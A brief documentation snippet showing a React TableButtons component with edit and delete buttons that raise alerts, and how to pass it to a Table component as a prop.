Buttons component for table

```jsx
const TableButtons = ({ object }) => {
  const handleEdit = (id) => {
    window.alert("editing " + id);
  };
  const handleDelete = (id) => {
    window.alert("deleting " + id);
  };
  return (
    <>
      <button
        onClick={() => handleEdit(object.id)}
        className="btn btn-primary btn-sm"
      >
        edit
      </button>
      <button
        onClick={() => handleDelete(object.id)}
        className="btn btn-danger btn-sm"
      >
        delete
      </button>
    </>
  );
};
```

Passing to table by props

```jsx
  return (
    <div className="container-fluid">
      <div className="mt-5">
        <Table
          title={"Example"}
          data={registers}
          actions={true}
          buttons={TableButtons}
        />
      </div>
```
